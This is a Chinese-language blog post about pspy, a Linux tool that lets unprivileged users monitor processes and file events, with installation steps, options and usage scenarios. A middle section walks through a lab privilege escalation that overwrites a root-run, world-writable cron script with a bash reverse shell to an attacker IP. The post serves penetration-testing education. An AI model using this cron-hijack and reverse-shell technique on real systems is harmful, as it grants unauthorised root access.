你在 Linux 系统上,普通用户,没 root
那至高无上的权限。但你心里痒痒,想知道系统后台到底在偷偷摸摸跑啥程序?有没有定时任务在搞小动作?文件被谁动了?这时候,pspy
来了!它由 Dominic Breuker 开发,专治各种后台进程,普通用户也能越权监测到root的计划任务。
开源地址:https://github.com/DominicBreuker/pspy
优点
权限?不存在的门槛! 最大的亮点!普通用户身份直接运行,不用求爷爷告奶奶要 root
密码。
实时直播系统活动: 进程啥时候启动的、执行的啥命令、文件啥时候被创建修改删除,它都能给你揪出来。
信息够详细: 不光告诉你进程名,连它的身份证(PID)、谁启动的(UID)、具体执行的完整命令是啥,都给你列得清清楚楚。
文件也逃不过法眼: 不仅能盯进程,还能盯文件!指定目录下的文件创建、修改、删除操作,也能给你监控起来。
pspy 能干啥?
抓进程: 它会聪明地扫描系统的 /proc
(进程信息目录),再结合 inotify
(系统事件通知)这个“警报器”,实时捕捉新冒出来的进程。 默认就盯着那些关键地方(像 /usr
, /tmp
, /etc
),当然你也可以告诉它:“嘿,重点给我盯住这几个文件夹!”
监测文件: 文件被动了?比如谁在 /tmp
放了东西,或者偷偷改了 /etc
下的配置文件?pspy
能联动起来,一旦发现文件变动,马上扫描关联进程,效率贼高。
自定义监测:-p
:默认就开着,看进程启动和命令执行。 -f
:想看文件事件就得加这个(默认关着)。 -r
或 -d
:告诉它盯哪个(或哪些)文件夹(-r
是连子文件夹一起盯,-d
只看表面一层)。 -i
:设置它多久去 /proc
扫一次(单位毫秒,默认 1000 毫秒就是 1 秒)。 -c
:强烈推荐!开彩色输出,新进程用红色标亮,文件事件用绿色标亮,一眼就能分清重点。
如何安装?
方法一:直接下现成的(最省事)
去 GitHub 拿货:打开 pspy 的发布页面: 找跟你系统匹配的版本(64位系统一般下 pspy64
,老古董 32 位就下 pspy32
)。
传到你服务器上:用 scp
或者 sftp
再就是python开启http服务传上去就行,比如: scp pspy64 你的用户名@服务器地址:/你想放的路径/
开搞!登录服务器,找到你放的文件: chmod +x pspy64 # 给它执行权限 ./pspy64 -p -f -c # 举个栗子:看进程、看文件事件、还要彩色!
我们使用pspy探测会定时执行的进程(普通计划任务crontab -l =是探测不到 root 的计划任务的)例如这里这个用户是没有权限看到timelock这个root用户的计划任务的
而使用pspy就可以探测到,在提权的时候非常有用!!!经过多轮测试,在提权中非常实用
https://github.com/DominicBreuker/pspy
我们再来看看这个权限信息,普通用户是可写的,所以就可以利用这个计划任务来提权了
echo"#!/bin/bash" > timeclockecho"/bin/bash -i >& /dev/tcp/10.10.10.128/1234 0>&1" >> timeclock
靶机实测,提权成功。
再进一步确认是否是root的计划任务,结论为是的,至此靶机渗透结束
方法二:自己动手编译(适合爱折腾或有定制需求的)
先装 Go 环境:确保你系统装了 Go(版本别低于 1.16): # Debian/Ubuntu 系 sudo apt update && sudo apt install golang -y # CentOS/RHEL 系 sudo yum install golang -y
下载源码开编:git clone https://github.com/DominicBreuker/pspy.git
cd pspy go build -o pspy . # 编译,生成一个叫 pspy 的文件
运行你自己的成果:./pspy -p -r /usr,/tmp # 举个栗子:重点盯住 /usr 和 /tmp 目录
这玩意儿适合什么场景?
CTF 比赛 / 渗透测试(挖隐藏任务):目标: 找那些偷偷跑的定时任务(cron job)或者后台脚本。 操作:./pspy -p -f -i 1000
(每秒扫一次,看进程+文件事件) 咋看结果: 如果突然蹦出来一个进程,比如 /bin/sh -c /opt/secret/reset_password.sh
(定时改密码?可疑!),记下它的 PID,去 /proc/PID/
下面深挖它的环境变量、启动路径啥的。
安全审计 / 合规检查(抓违规操作):目标: 看看有没有人(或者程序)在执行不该执行的命令。 操作:./pspy -p -d /home/important_user
(只盯某个用户的目录) 咋看结果: 记录下所有在这个目录下启动的进程命令,跟你规定的“白名单”对比一下,不认识的、危险的命令就露馅了。
跟其他工具打配合(监控更给力):配合 inotify-tools
(盯文件更专业):inotifywait -m -r /etc | ./pspy -f # 把 inotify 看到的文件事件喂给 pspy
配合 cronitor
(验证定时任务): 用 cronitor
监控 cron 作业的状态,再跟 pspy
抓到的实际执行记录对一对,确保任务真的跑了,没出幺蛾子。
注意事项
资源占用: 把扫描间隔 (-i
) 调大点(比如 2000, 5000 毫秒),能让它少吃点 CPU。但调太大可能错过那些“闪现”的短命进程。默认 1 秒是个不错的平衡点。
监控范围: 别让它去盯那些文件变动超级频繁的目录(比如 /var/log
),不然输出刷屏刷到你怀疑人生,它也累。 用 -d
(只看一层)比 -r
(看所有子目录)通常更省资源。
日志分析: 把它的输出直接存到文件里,方便事后慢慢研究: ./pspy -p > pspy.log 2>&1 # 只看进程信息,存到 pspy.log
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...